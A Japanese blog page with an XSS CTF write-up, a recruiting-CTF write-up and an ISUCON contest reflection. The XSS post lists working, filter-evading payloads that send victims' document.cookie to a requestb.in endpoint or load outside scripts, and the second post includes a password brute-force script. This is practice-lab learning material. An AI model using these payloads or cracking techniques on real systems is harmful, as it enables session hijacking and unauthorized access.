katagaitaiCTF勉強会 xss千本ノック writeup
楽しかったです
全部解けるようがんばります…がんばりたい…
2
やるだけ
q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E
3
やるだけ
q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E
4
textareaを閉じる
q=</textarea><script>location.href='https://requestb.in/x0u1ovx0?f3='%20%2B%20document.cookie</script>
5
autofocus
q=%22%20 autofocus onfocus=%22location.href=%27https://requestb.in/x0u1ovx0?f5_=%27%20%2B%20document.cookie
6
%27で閉じる
q=!%22%27%20 autofocus onfocus=location.href='https://requestb.in/x0u1ovx0?f6='%2Bdocument.cookie;//
7
autofocus
q=1%20autofocus%20onfocus=location.href=%27https://requestb.in/x0u1ovx0?f7=%27%2Bdocument.cookie;//
8
iframeのsrcをjavascript:
q=javascript:location.href=%22https://requestb.in/x0u1ovx0?f8=%22%20%2B%20document.cookie
9
scriptタグ
q=%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f9=%22%20%2B%20document.cookie%3C/script%3E
10
scriptが消えるのでいっぱいscriptを書く
q=%3Cscrscriptiscriptpscriptt%3Elocation.href=%22https://requestb.in/x0u1ovx0?f10=%22%20%2B%20document.cookie%3C/scrscriptiscriptpscriptt%3E
11,12
scriptが消えるのでonloadに挟む
q=%3Csvg%20oscriptnload=location.href=%27https://requestb.in/x0u1ovx0?f11=%27%2Bdocument.cookie%20%27%20%3E
13
alert()を閉じる
q=%27);location.href=%22https://requestb.in/x0u1ovx0?%22%2Bdocument.cookie;//
14
外部スクリプトを作って読む
q=%3Cscript%20src=http://aviavi.ga/ajs%3E%3C/script%3E
15
大文字の外部スクリプトを作って読む
HTTP://ドメイン
の部分は大文字小文字関係なく繋がる
q=%3Cscript%20src=http://aviavi.ga/AJS%3E%3C/script%3E
16
.が使えないのでbase64でevalする
q=%3Cscript%3Eeval(atob('bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iICsgZG9jdW1lbnQuY29va2ll'))%3C/script%3E
17
‘が使えないのでバッククォートを使う
q=%3Cscript%3Eeval(atob(`bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iICsgZG9jdW1lbnQuY29va2ll`))%3C/script%3E
18,19
scriptタグにbase64を使う
q=%3C/script%3E%3Cscript%20src=%27data:text/html;base64,bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iK2RvY3VtZW50LmNvb2tpZQ==%27%3E%3C/script%3E
20
scriptタグでhashをevalする
q=%3Csvg%20onload=eval(URL.slice(105))%3E#location["href"]="https://requestb.in/x0u1ovx0?f3="+document.cookie
21
svg onloadでhashをeval .が使えないのでlocation[“href”]にする
q=%22%3E%3Cimg%3E//onload=eval(URL.slice(127));%20//a%20//src=/#location["href"]="https://requestb.in/x0u1ovx0?f3="+document.cookie
22,23
hashをeval
q=%3Csvg%20//%20onload=eval(URL.slice(112))%3E//#location.href="https://requestb.in/x0u1ovx0?f3="+document.cookie
24
documentがnullなのでwindowを使う
q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Bwindow.document.cookie
25~28
windowもnullなのでthisとかtopを使う
q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Bthis.document.cookie
q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Btop.document.cookie
29
imgタグを閉じずに読ませる
q=aa%3C/p%3E%3Cp%3E%3Cimg%20%3Cimg%20%20%20src=%22https://requestb.in/x0u1ovx0?
30
クォートと.が使えないのでhashの文字列を連結させてがんばる
q=location[`href`]=location[`hash`][1]%2Blocation[`hash`][2]%2Blocation[`hash`][3]%2Blocation[`hash`][4]%2Blocation[`hash`][5]%2Blocation[`hash`][6]%2Blocation[`hash`][7]%2Blocation[`hash`][8]%2Blocation[`hash`][9]%2Blocation[`hash`][10]%2Blocation[`hash`][11]%2Blocation[`hash`][12]%2Blocation[`hash`][13]%2Blocation[`hash`][14]%2Blocation[`hash`][15]%2Blocation[`hash`][16]%2Blocation[`hash`][17]%2Blocation[`hash`][18]%2Blocation[`hash`][19]%2Blocation[`hash`][20]%2Blocation[`hash`][21]%2Blocation[`hash`][22]%2Blocation[`hash`][23]%2Blocation[`hash`][24]%2Blocation[`hash`][25]%2Blocation[`hash`][26]%2Blocation[`hash`][27]%2Blocation[`hash`][28]%2B`?`%2Bdocument[`cookie`]#https://requestb.in/x0u1ovx0
31
document.write()を閉じる
q=%27);location.href=%27https://requestb.in/x0u1ovx0?%27%2Bdocument.cookie;//
32
一つ目のパラメータでエスケープで閉じさせなくする
q1=\&q2=,location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie//
33
blink()でblinkタグを作りsvgを入れる
q=%22%3Csvg%20onload=location.href=%27https://requestb.in/x0u1ovx0?%27%2Bdocument.cookie;%3E%22.blink()
34
typeを上書きしてhiddenさせなくする
q=%22%20onfocus=location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie%20type=text%20autofocus%20a
35
改行コード %0a
q=%0Alocation.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie
36
改行コード %0A%0D
q=%0A%0Dlocation.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie
37
改行コード %0A%0D%E2%80%A8
q=%0A%0D%E2%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie
38
改行コード %0A%0D%E2%80%A8%E2%E2%80%A8%80%A8
q=%0A%0D%E2%80%A8%E2%E2%80%A8%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie
39
%E2%80%A8が消されるのでいっぱい突っ込む
q=%0A%0D%E2%80%A8%E2%E2%80%A8%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie
40
バッククォートでauditor回避
q1=%3Cscript%3E`&q2=a`;location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie;%3C/script%3E`
41
ハッシュをeval
q=%3Cscript%3Eeval(eval(location.href.substr(-92)))%3C/script#atob("bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9gK2RvY3VtZW50LmNvb2tpZTs=")
42,43
base64をeval
q=%3Csvg%20onload=eval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9gK2RvY3VtZW50LmNvb2tpZTs=`))%3E
44
全部エスケープされてて無理じゃんってなった
& => & ' => ' " => " > => > < => < !$%[@:][{}*`+}()~=`$
phpの問題だった
formのurlに$_SERVER[‘PHP_SELF’]を使っている
それとdom clobberingでdocument.bodyを書き換える
~~.knock.xss.moe//index.php/%22%20name=body%20%3E%3Cinput%20value=%22?q=%3Csvg%20onload=eval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi9waHdxNWRwaD9gK2RvY3VtZW50LmNvb2tpZTs=`))%3E
45
ダメ
シュ~カツctf Writeupその1
大分間が空きましたが元気です。がんばります
色々あって引きこもってました。 現在もわりと引きこもってます。色々あって今にいたります
年末に風邪をこじらせている間にいつの間にか年も越して 気がつけば2月…
最近はCTFなどはにわかに参加しているくらいで 体を壊したり落ち込んだりアレでソレで 特に書く内容もない現状です。
せっかくなので、 他のwriteupさまの内容を見たので、雑ですが書いてみました。
一応シュ~カツ(?)としてネットエージェントさまのシューカツCTF(2017年卒採用特別選考CTF)に参加していました。
前年はusiomisakiにやられてしまっていたので、今年こそは。。。と頑張ってました。
ちなみに自分も最後まで解けてないので、続きをだれか…(以下同文)
mondai1
問題ページのHTMLのソースに去年の問題文があったので、
echo LzYxMDIvcGouaGJwLy86cHR0aA== | base64 -D | rev http://pbh.jp/2016/
とかして2016の部分を2017にすると見れたので、良かったということで最後まで解いてなかった…です。
一応ちゃんと正攻法?で解きました。 base64でデコードして3文字ずらすだけだったようです
$cat solv.rb require 'base64' Base64.decode64("c2VrMW1zMjUzNDo=").each_char do |s| print (s.ord - 3).chr end $ruby solv.rb pbh.jp/2017
mondai2
マイナンバーらしいです…
755304ac4117729248f05fd12203735598d727dd
MD5の総当りっぽいので頑張ってもらいました。
mondai3.zip:462365337210
mondai3
画像が2つ入ってたのでクリスタで重ねてレイヤーを減算にしたらそれっぽい文字が出たので
mondai4.zip:Macrocheira
mondai4
ポートスキャンすると、3つのポートが空いていたので、
MQTTとRedisとmemcachedにつなげて適当に探せば色々出ました
kurobeとtateyamaで検索したらアルペンルートとか出てきたのでそれをメチャクチャ入れまくってたりしましたが、結局1883+6379+11211
というヒントでいけました。
mondai5.zip::kurobetateyamatoyama
あとたまにokayamaとか偽passwordが流れてきてメッチャ迷った。すこぶる困った。
MQTTで遊んでたときの
mondai5
これに4,5日くらいかかってアレでした
某アニメを見てなかったためにヒントにも気付けませんでした。見ました。 txtファイルの更新日時で検索するとこのツイート
友利奈緒が文部科学大臣賞を受ける図#seccon pic.twitter.com/Pd6sCIqwcr
— lumin ハッカーフレンズ (@lumin) 2016年1月31日
が出てくるので、SECCONとかtomorinaoとかかなと思っても出来ず、 zipを眺めまぐったりしたり 試行錯誤の末大文字小文字を総当りすると解凍できました。ESP…
mondai6.zip:TomoriNao
mondai6
適当にdotpeekなどで処理を見ると、しんかんせんえきいんぜ
で21文字の回文を作れば良いっぽいので
mondai7.zip:しんかんせんえきいんぜんいきえんせんかんし
mondai7
解き方忘れてしまっていたので解き直してました。turai
pcapを読むとそれらしいファイルirainaiyou1.zip
をアップロードしている事がわかったり
他にもニコニコ大百科で何か見ていることとかわかるけど結局よくわかんない
irainaiyou1.zip
のパスワードっぽい文字列もアップロード時の削除用のhanamogera
くらいで試行錯誤組み替えて試してもダメだったり
結局総当りしようと思い、まずは適当に辞書で回そうとこのような辞書を使わせていただいてこんな感じで適当にやったところ何か出てきたので
$ cat brute.rb path = "john.txt" max = File.read(path).count("\n") open(path) do |f| f.each_line.with_index do |pass,i| # puts i.to_s + "/" + max.to_s s = system "7za x -p#{pass.chop} irainaiyou1.zip -aoa > /dev/null 2> /dev/null" if s puts pass break end end end%$ ruby brute.rb alexander
alexanderでirainaiyou1.zip
を解凍
出てきた画像ko'tae.jpg
の文字で解凍出来ました
mondai8.zip:ログ・ググザジョ
グロンギ語で「もうすぐだよ」らしいですね。zipのpasswordにunicodeが使いづらかったのでLhaplusを使うと楽でした。
これもわりと苦戦した というか色々アレだった…
mondai8
mondai8は簡単になった方で解きました
truecryptで暗号化されているので、またもや先程の辞書を使わせていただいてtruecrackでアレしたり
passwordが1234なのでマウントすると見えないファイルがいくつかあるので
あとは野菜レシピ.docxのパスワードが何故かpasswordだったので開くと謎フォントの答えが出てくる
ので適当なフォントにいじって
mondai9.zipFadeWhitePearl
mondai9
宇佐美定行 「ワキミウオンズサミウケサワキケキワナオンワゼケサミサケサ ズキアウオガミゼインミゼケキワキケサインケキケサアナワウイウズキズゼ アンミガアンケキアウワゼミンズナ イナアゼワキワンアナミガミガイゼミンミゼミウオンワン ワサミガミガオガワンケキワナオンケゼアナオキアゼワサミガズガズキインズナ ミゼアウズキケキアキケキオウイゼイキケサアキズウアキイキケキオサイガミガミゼ オンイサケガワンケキインケサワキケサアキミゼインミゼケキワキケサインケキケサオガズゼワナオンイガオンイキケキ イガオンイナワサイウインケキオガイキアウアンケキケサアキミキズナ アキオンワガアウミキケンオガアンミガオキミガイキアウミキアウ ミウミガミガオガケゼワキズキケキミゼミゼインミゼケキケゼケキワキオガイナアゼワキワン イナオキアゼアンアキワンワキオガミキズキケキミンズガオキオゼ ワウインズウワサミガケゼイキケキオガズキケンケサ ワキケサインケキケサケンズウオガケナアウミナケキオンケンアキ」
らしいです
宇佐美定行とかで調べると、上杉暗号というのが出てくるので
2文字ずつ使われてる文字を調べたりして
$ cat s.rb f = open("mondai9.txt") g0 = [] g1 = [] f.each_line do |l| l.split("").each_slice(2) do |n| g0.push(n[0]) g1.push(n[1]) end end p g0.uniq p g1.uniq $ ruby s.rb ["ワ", "ミ", "オ", "ズ", "ケ", "ア", "イ"] ["キ", "ウ", "ン", "サ", "ナ", "ゼ", "ガ"]
[“ワ”, “ミ”, “オ”, “ズ”, “ケ”, “ア”, “イ”]と
[“キ”, “ウ”, “ン”, “サ”, “ナ”, “ゼ”, “ガ”]から、
あずみおいわけ と うぜんながさきかなと思って復号化
$ cat uesugi.rb # encoding: utf-8 # 上杉暗号 sx, sy = 'あずみおいわけ うぜんながさき'.split iroha_table = [ %w(い ろ は に ほ へ と), %w(ち り ぬ る を わ か), %w(よ た れ そ つ ね な), %w(ら む う ゐ の お く), %w(や ま け ふ こ え て), %w(あ さ き ゆ め み し), %w(ゑ ひ も せ す ん "), ] File.open('mondai9.txt') do |file| file.each_line do |enc| enc.chop! result = [] enc.split(//).each_slice(2) do |a,b| x = sx.index(a) y = sy.index(b) ch = iroha_table[x][y] result << ch end puts "#{result.join}" end end $ ruby uesugi.rb しようわよんし"ゆうさんねん かいのたけた"しんけ"んにあやかり はつは"いされる ふろしきにつつまれたようき みつつのき"ゆうひにくろみつをかける たいか"と"らまてんとちとて"おこつた うえすき"けんしんとたけた"しんけ"んのりゆうこうて" こうふみやけ"のていは"んとなる とうめいなものはつくつていない よつつのひしか"たたけた"ひ"しのふろしき ふくろはときしのなか"れをくむ あけちみつひて"のかもん しんけ"んもちのせいそ"うもと
mondai10.zip:桔梗屋
というわけで
エクストリーム編につづく。。。
ISUCON反省文
K氏とチーム名「zoi」で参加してました。
今回は諸事情で学生枠でなく、一般枠で参加しました。
チーム名は時期的に被るんじゃないかなと思ってましたが、やはり被りました。ローマ字の方です。
初参加でした。
最終結果はメモってなかったのでアレなのですが、大体15000~16000くらいだったんじゃないかと思います。
予選落ちです。
準備
ISUCONの勝ち方を見たり、過去のエントリを見たり程度。
せめて当日までに使用言語くらいは決めようという感じであった
来年はもっと準備して挑みたいです(反省
やったこと
雑魚なのでK氏に全部やってもらいました。感謝🙏
結果的にチームとしてやったことは
- htmlify内で毎回selectしているものを引数にして渡す
SELECT *
→SELECT keyword
- 毎回
ORDER BY CHARACTER_LENGTH(keyword)
してるので、charlength
カラムを作ってORDER BY charlength
する - entryをredisに入れる/get('/')でredisからとってくる
- starをredisに入れる/load_starsでredisからとってくる
自分がやったことは
- kataribeでログ取ったり
CHARACTER_LENGTH(keyword)
いっぱい入れとく- インデックス貼ったり
- pt-query-digestでSlowLog見ていたり
- phpにうろたえたり
- ベンチマ~クのパケット見ようとしたらメチャンコでかくてうろたえたり
- h2oにしようとして挫折したり
困ったこと
- redisが入んなくて3,4時間かかってた
- 参加していた場所のインフラがわりと
クソ整備されてなくて、wifiに繋がらなかった - てんでsystemdわかんない
- てんでAzureわかんない
starがついていません
→ついてない…??
反省
- SQL全然わかんなくて
CHARACTER_LENGTH
は複文で何とかなるんだろうけど、一行のupdate文大量に作った - 最終点数スクショ取ってない
感想
今回はわりと、楽しもうというテンションで
なんだかんだ準備が不十分だったけれど、
学生枠での本戦が16000くらいだったらしいので、わりといい線だったんじゃないかな、みたいな
不甲斐ないなりにテンションあげてみたり
そんな感じで。
頑張ります はい。いや、頑張るzoi